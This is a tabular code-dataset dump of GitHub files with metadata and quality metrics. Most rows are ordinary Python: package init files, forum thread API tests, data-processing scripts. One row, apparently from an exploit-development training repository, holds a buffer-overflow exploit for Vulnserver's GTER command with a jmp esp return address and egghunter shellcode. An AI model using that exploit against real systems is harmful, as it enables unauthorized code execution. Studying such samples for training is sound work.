hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8ccd17b125bc0aaac11ea2968d5539348fadf74f | 28 | py | Python | pytools/__init__.py | tobyqin/pytools | b60acbd554865c4c593b16f8f81b0b800b482701 | [
"MIT"
] | null | null | null | pytools/__init__.py | tobyqin/pytools | b60acbd554865c4c593b16f8f81b0b800b482701 | [
"MIT"
] | null | null | null | pytools/__init__.py | tobyqin/pytools | b60acbd554865c4c593b16f8f81b0b800b482701 | [
"MIT"
] | null | null | null | def get_hostname():
pass | 14 | 19 | 0.678571 | 4 | 28 | 4.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.214286 | 28 | 2 | 20 | 14 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
8cd62aff387d24011204f56c344cede45968390c | 35 | py | Python | carbone_sdk/__init__.py | Ideolys/carbone-sdk-python | 7dff1e56912694a5989a5f114e707d8653d2c85a | [
"Apache-2.0"
] | 2 | 2020-07-28T08:57:11.000Z | 2021-03-25T11:53:37.000Z | carbone_sdk/__init__.py | Ideolys/carbone-sdk-python | 7dff1e56912694a5989a5f114e707d8653d2c85a | [
"Apache-2.0"
] | 3 | 2020-09-12T14:35:26.000Z | 2021-04-12T15:03:21.000Z | carbone_sdk/__init__.py | carboneio/carbone-sdk-python | 7dff1e56912694a5989a5f114e707d8653d2c85a | [
"Apache-2.0"
] | 1 | 2020-12-04T12:45:38.000Z | 2020-12-04T12:45:38.000Z | from .carbone_sdk import CarboneSDK | 35 | 35 | 0.885714 | 5 | 35 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085714 | 35 | 1 | 35 | 35 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8cdcb65eb23bd46d85fa8b377627c6185859e420 | 13 | py | Python | src/test/data/pa3/AdditionalTestCase/UnitTest/Comparison_GE_True_GT.py | Leo-Enrique-Wu/chocopy_compiler_code_generation | 4606be0531b3de77411572aae98f73169f46b3b9 | [
"BSD-2-Clause"
] | null | null | null | src/test/data/pa3/AdditionalTestCase/UnitTest/Comparison_GE_True_GT.py | Leo-Enrique-Wu/chocopy_compiler_code_generation | 4606be0531b3de77411572aae98f73169f46b3b9 | [
"BSD-2-Clause"
] | null | null | null | src/test/data/pa3/AdditionalTestCase/UnitTest/Comparison_GE_True_GT.py | Leo-Enrique-Wu/chocopy_compiler_code_generation | 4606be0531b3de77411572aae98f73169f46b3b9 | [
"BSD-2-Clause"
] | null | null | null | print(2 >= 1) | 13 | 13 | 0.538462 | 3 | 13 | 2.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 0.153846 | 13 | 1 | 13 | 13 | 0.454545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
506c0f243fd9ffbe2a2ec44535d0742f23988850 | 2,411 | py | Python | 3-egghunters/vulnserver-gter/exploit.py | anvbis/windows-exp | 309eba877737a21c88cd2e4aa3bed7741560b53c | [
"MIT"
] | null | null | null | 3-egghunters/vulnserver-gter/exploit.py | anvbis/windows-exp | 309eba877737a21c88cd2e4aa3bed7741560b53c | [
"MIT"
] | null | null | null | 3-egghunters/vulnserver-gter/exploit.py | anvbis/windows-exp | 309eba877737a21c88cd2e4aa3bed7741560b53c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from pwn import *
pad = b'\x41' * 147
# 0x625011af: jmp esp ;
ret = p32(0x625011af)
egghunter = asm('''
loop_inc_page:
or dx, 0x0fff
loop_inc_one:
inc edx
push edx
push 0x2
pop eax
int 0x2e
cmp al, 0x5
pop edx
je loop_inc_page
mov eax, 0x74303077
m... | 34.442857 | 66 | 0.659477 | 523 | 2,411 | 3.021033 | 0.458891 | 0.070886 | 0.018987 | 0.018987 | 0.070886 | 0.048101 | 0.048101 | 0.048101 | 0.048101 | 0.048101 | 0 | 0.236854 | 0.108669 | 2,411 | 69 | 67 | 34.942029 | 0.498371 | 0.017835 | 0 | 0.105263 | 0 | 0.473684 | 0.7463 | 0.593658 | 0 | 1 | 0.015222 | 0 | 0 | 1 | 0 | false | 0 | 0.017544 | 0 | 0.017544 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5075a3d7314060327161c84be8ff62a62aba4c36 | 28,302 | py | Python | misago/threads/tests/test_privatethread_patch_api.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | 1 | 2017-07-25T03:04:36.000Z | 2017-07-25T03:04:36.000Z | misago/threads/tests/test_privatethread_patch_api.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | null | null | null | misago/threads/tests/test_privatethread_patch_api.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | null | null | null | import json
from django.contrib.auth import get_user_model
from django.core import mail
from misago.acl.testutils import override_acl
from misago.threads import testutils
from misago.threads.models import Thread, ThreadParticipant
from .test_privatethreads import PrivateThreadsTestCase
UserModel = get_user_model()... | 34.983931 | 97 | 0.585789 | 2,995 | 28,302 | 5.382304 | 0.07212 | 0.060794 | 0.03995 | 0.032754 | 0.827047 | 0.801055 | 0.775062 | 0.747829 | 0.746774 | 0.72438 | 0 | 0.006365 | 0.306091 | 28,302 | 808 | 98 | 35.027228 | 0.814451 | 0.096848 | 0 | 0.580986 | 0 | 0 | 0.085647 | 0.008754 | 0 | 0 | 0 | 0 | 0.205986 | 1 | 0.059859 | false | 0.007042 | 0.012324 | 0.001761 | 0.080986 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
507647b1faff3de1b90d05bf726bcfde42419caf | 23 | py | Python | vega/networks/tensorflow/customs/edvr/__init__.py | jie311/vega | 1bba6100ead802697e691403b951e6652a99ccae | [
"MIT"
] | 724 | 2020-06-22T12:05:30.000Z | 2022-03-31T07:10:54.000Z | vega/networks/tensorflow/customs/edvr/__init__.py | jie311/vega | 1bba6100ead802697e691403b951e6652a99ccae | [
"MIT"
] | 147 | 2020-06-30T13:34:46.000Z | 2022-03-29T11:30:17.000Z | vega/networks/tensorflow/customs/edvr/__init__.py | jie311/vega | 1bba6100ead802697e691403b951e6652a99ccae | [
"MIT"
] | 160 | 2020-06-29T18:27:58.000Z | 2022-03-23T08:42:21.000Z | from .edvr import EDVR
| 11.5 | 22 | 0.782609 | 4 | 23 | 4.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173913 | 23 | 1 | 23 | 23 | 0.947368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
50cf43bc9953f0df86ffbbea6cd1f426297cd5ef | 115 | py | Python | ruledxml/tests/data/003_rules.py | meisterluk/ruledxml | 2c66f0b7a931479c7ce3ab6877b1b4ea202f902a | [
"BSD-3-Clause"
] | null | null | null | ruledxml/tests/data/003_rules.py | meisterluk/ruledxml | 2c66f0b7a931479c7ce3ab6877b1b4ea202f902a | [
"BSD-3-Clause"
] | null | null | null | ruledxml/tests/data/003_rules.py | meisterluk/ruledxml | 2c66f0b7a931479c7ce3ab6877b1b4ea202f902a | [
"BSD-3-Clause"
] | null | null | null | from ruledxml import destination
@destination("/root/nested/child@attr")
def ruleNestedElement():
return 3.5
| 16.428571 | 39 | 0.756522 | 14 | 115 | 6.214286 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02 | 0.130435 | 115 | 6 | 40 | 19.166667 | 0.85 | 0 | 0 | 0 | 0 | 0 | 0.2 | 0.2 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.25 | 0.25 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
0fc3f424cdb67ef19efcc1abf5a2b229e45dda2b | 93 | py | Python | visdialch/utils/__init__.py | xiaoxiaoheimei/SeqDialN | 0675a4e3737a2f849e273123330ad6fddbfb2fba | [
"BSD-3-Clause"
] | 4 | 2020-10-04T15:54:49.000Z | 2021-12-11T13:10:01.000Z | visdialch/utils/__init__.py | xiaoxiaoheimei/SeqDialN | 0675a4e3737a2f849e273123330ad6fddbfb2fba | [
"BSD-3-Clause"
] | null | null | null | visdialch/utils/__init__.py | xiaoxiaoheimei/SeqDialN | 0675a4e3737a2f849e273123330ad6fddbfb2fba | [
"BSD-3-Clause"
] | 2 | 2021-06-06T11:02:51.000Z | 2021-10-06T08:41:02.000Z | from .dynamic_rnn import DynamicRNN # noqa: F401
from .dynamic_rnn_v2 import DynamicRNN_v2
| 31 | 49 | 0.817204 | 14 | 93 | 5.142857 | 0.571429 | 0.305556 | 0.388889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 0.139785 | 93 | 2 | 50 | 46.5 | 0.8375 | 0.107527 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
0fd3d527e64bcb9e4929faf275ae9b0f0cc8e72d | 70 | py | Python | WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_Strings.txt.py | webdevhub42/Lambda | b04b84fb5b82fe7c8b12680149e25ae0d27a0960 | [
"MIT"
] | 5 | 2021-06-02T23:44:25.000Z | 2021-12-27T16:21:57.000Z | WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_Strings.txt.py | webdevhub42/Lambda | b04b84fb5b82fe7c8b12680149e25ae0d27a0960 | [
"MIT"
] | 22 | 2021-05-31T01:33:25.000Z | 2021-10-18T18:32:39.000Z | WEEKS/CD_Sata-Structures/_RESOURCES/python-prac/mini-scripts/Python_Strings.txt.py | webdevhub42/Lambda | b04b84fb5b82fe7c8b12680149e25ae0d27a0960 | [
"MIT"
] | 3 | 2021-06-19T03:37:47.000Z | 2021-08-31T00:49:51.000Z | # You can use double or single quotes:
print("Hello")
print("Hello")
| 14 | 38 | 0.7 | 11 | 70 | 4.454545 | 0.818182 | 0.408163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157143 | 70 | 4 | 39 | 17.5 | 0.830508 | 0.514286 | 0 | 1 | 0 | 0 | 0.3125 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
0ffb517a3782a4042906982218e388f3a20cb400 | 68 | py | Python | src/masonite/contracts/managers/BroadcastManagerContract.py | Abeautifulsnow/masonite | f0ebb5ca05f5d88f21264e1cd0934435bd0a8791 | [
"MIT"
] | 95 | 2018-02-22T23:54:00.000Z | 2021-04-17T03:39:21.000Z | src/masonite/contracts/managers/BroadcastManagerContract.py | Abeautifulsnow/masonite | f0ebb5ca05f5d88f21264e1cd0934435bd0a8791 | [
"MIT"
] | 840 | 2018-01-27T04:26:20.000Z | 2021-01-24T12:28:58.000Z | src/masonite/contracts/managers/BroadcastManagerContract.py | Abeautifulsnow/masonite | f0ebb5ca05f5d88f21264e1cd0934435bd0a8791 | [
"MIT"
] | 100 | 2018-02-23T00:19:55.000Z | 2020-08-28T07:59:31.000Z | from abc import ABC
class BroadcastManagerContract(ABC):
pass
| 11.333333 | 36 | 0.764706 | 8 | 68 | 6.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.191176 | 68 | 5 | 37 | 13.6 | 0.945455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
e89fc261947566b3c22973788846412696bd202f | 86 | py | Python | plugin/src/test/resources/optimizeImports/order.after.py | consulo/consulo-python | 586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d | [
"Apache-2.0"
] | null | null | null | plugin/src/test/resources/optimizeImports/order.after.py | consulo/consulo-python | 586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d | [
"Apache-2.0"
] | 11 | 2017-02-27T22:35:32.000Z | 2021-12-24T08:07:40.000Z | plugin/src/test/resources/optimizeImports/order.after.py | consulo/consulo-python | 586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d | [
"Apache-2.0"
] | null | null | null | import sys
import datetime
import foo
from bar import *
sys.path
datetime.datetime
| 8.6 | 17 | 0.790698 | 13 | 86 | 5.230769 | 0.538462 | 0.264706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.174419 | 86 | 9 | 18 | 9.555556 | 0.957746 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
2cdf9742f1bc0a3e7c46bb42bc17871b2b79239e | 153 | py | Python | mass/simulation/__init__.py | SBRG/MASSpy | 1315c1d40be8feb8731c8143dbc9ba43bf8c78ff | [
"MIT"
] | 13 | 2020-07-13T00:48:13.000Z | 2022-01-27T15:42:15.000Z | mass/simulation/__init__.py | SBRG/MASSpy | 1315c1d40be8feb8731c8143dbc9ba43bf8c78ff | [
"MIT"
] | 10 | 2021-02-17T18:07:43.000Z | 2022-02-23T16:22:14.000Z | mass/simulation/__init__.py | SBRG/MASSpy | 1315c1d40be8feb8731c8143dbc9ba43bf8c78ff | [
"MIT"
] | 9 | 2020-01-15T00:48:49.000Z | 2022-03-04T07:01:17.000Z | # -*- coding: utf-8 -*-
from mass.simulation.ensemble import generate_ensemble_of_models
from mass.simulation.simulation import Simulation
__all__ = ()
| 25.5 | 64 | 0.784314 | 19 | 153 | 5.947368 | 0.631579 | 0.141593 | 0.318584 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007353 | 0.111111 | 153 | 5 | 65 | 30.6 | 0.823529 | 0.137255 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
fa3941be932cc5aedf99f5f0bf591d2377ba2865 | 9,635 | py | Python | notebooks/project_functions1.py | data301-2021-winter1/project-group23-project | ae8809e5707c35838db15e140b5932a3538e8176 | [
"MIT"
] | null | null | null | notebooks/project_functions1.py | data301-2021-winter1/project-group23-project | ae8809e5707c35838db15e140b5932a3538e8176 | [
"MIT"
] | null | null | null | notebooks/project_functions1.py | data301-2021-winter1/project-group23-project | ae8809e5707c35838db15e140b5932a3538e8176 | [
"MIT"
] | null | null | null | import pandas as pd
import seaborn as sns
import numpy as np
# Loading the csv file and dropiing the unwanted columns.
def load_and_process(path_to_csv_file):
data = (pd.read_csv(path_to_csv_file)
.drop(columns =['CF','CA','SCF','SCA','TOI', 'Unnamed: 2'])
)
return data
# Dropping all of the ... | 78.97541 | 671 | 0.683031 | 1,234 | 9,635 | 5.295786 | 0.127229 | 0.036725 | 0.043764 | 0.019587 | 0.912624 | 0.908646 | 0.908646 | 0.908646 | 0.908646 | 0.908646 | 0 | 0.014426 | 0.143851 | 9,635 | 122 | 672 | 78.97541 | 0.777791 | 0.085106 | 0 | 0.653061 | 0 | 0 | 0.52674 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.081633 | false | 0 | 0.030612 | 0.010204 | 0.193878 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d7089dcea4c22227791010eb712adc4d8c885694 | 31 | py | Python | Utilities/VTKPythonWrapping/paraview/vtk/widgets.py | cjh1/ParaView | b0eba067c87078d5fe56ec3cb21447f149e1f31a | [
"BSD-3-Clause"
] | 17 | 2015-02-17T00:30:26.000Z | 2022-03-17T06:13:02.000Z | Utilities/VTKPythonWrapping/paraview/vtk/widgets.py | cjh1/ParaView | b0eba067c87078d5fe56ec3cb21447f149e1f31a | [
"BSD-3-Clause"
] | null | null | null | Utilities/VTKPythonWrapping/paraview/vtk/widgets.py | cjh1/ParaView | b0eba067c87078d5fe56ec3cb21447f149e1f31a | [
"BSD-3-Clause"
] | 10 | 2015-08-31T18:20:17.000Z | 2022-02-02T15:16:21.000Z | from vtkWidgetsPython import *
| 15.5 | 30 | 0.83871 | 3 | 31 | 8.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 0.962963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d722e75cdecd33f96922437a74e0e4b270647989 | 8,385 | py | Python | scripts/svm/union.py | AdLucem/infotabs-code | 1dd90c2db1eff920c5cf19385a292dcb2cc51860 | [
"Apache-2.0"
] | 19 | 2020-05-02T01:01:29.000Z | 2022-02-20T19:26:48.000Z | scripts/svm/union.py | AdLucem/infotabs-code | 1dd90c2db1eff920c5cf19385a292dcb2cc51860 | [
"Apache-2.0"
] | null | null | null | scripts/svm/union.py | AdLucem/infotabs-code | 1dd90c2db1eff920c5cf19385a292dcb2cc51860 | [
"Apache-2.0"
] | 5 | 2020-05-01T20:31:41.000Z | 2021-11-02T08:19:52.000Z | import pandas as pd
import numpy as np
from numpy import linalg as LA
data_dir="./../../temp/data/parapremise/"
save_dir="./../../temp/svmformat/union"
def get_dimensions(train_data,dev_data,test_data, test_adverse_data, alpha3_data):
bigram_to_index = {}
index_to_bigram = []
for index,row in train_data.iterrows... | 35.083682 | 112 | 0.667621 | 1,211 | 8,385 | 4.406276 | 0.076796 | 0.107196 | 0.063343 | 0.074775 | 0.842204 | 0.834708 | 0.755435 | 0.720015 | 0.693778 | 0.674663 | 0 | 0.020996 | 0.142278 | 8,385 | 238 | 113 | 35.231092 | 0.72094 | 0.020513 | 0 | 0.706468 | 0 | 0 | 0.126965 | 0.007067 | 0 | 0 | 0 | 0 | 0 | 1 | 0.014925 | false | 0.004975 | 0.014925 | 0 | 0.044776 | 0.059701 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d74d0bc09031e156dbc8ea122883f338e9bbe127 | 34 | py | Python | holobot/sdk/threading/__init__.py | rexor12/holobot | 89b7b416403d13ccfeee117ef942426b08d3651d | [
"MIT"
] | 1 | 2021-05-24T00:17:46.000Z | 2021-05-24T00:17:46.000Z | holobot/sdk/threading/__init__.py | rexor12/holobot | 89b7b416403d13ccfeee117ef942426b08d3651d | [
"MIT"
] | 41 | 2021-03-24T22:50:09.000Z | 2021-12-17T12:15:13.000Z | holobot/sdk/threading/__init__.py | rexor12/holobot | 89b7b416403d13ccfeee117ef942426b08d3651d | [
"MIT"
] | null | null | null | from .async_loop import AsyncLoop
| 17 | 33 | 0.852941 | 5 | 34 | 5.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 34 | 1 | 34 | 34 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d766024bcf9d95022814fed3e5ee6c06f654f0d9 | 3,785 | py | Python | neopixel/neo_16x16_img/neo16x16_img.py | randmor/microbit-lib | 68bf5a10b52fc56e87f5e4390285a4547eb58120 | [
"MIT"
] | 44 | 2018-01-29T16:27:34.000Z | 2022-03-18T18:11:33.000Z | neopixel/neo_16x16_img/neo16x16_img.py | bsliao0211/microbit-lib | fd767fb44173f317e4640a7af08afdb065770d91 | [
"MIT"
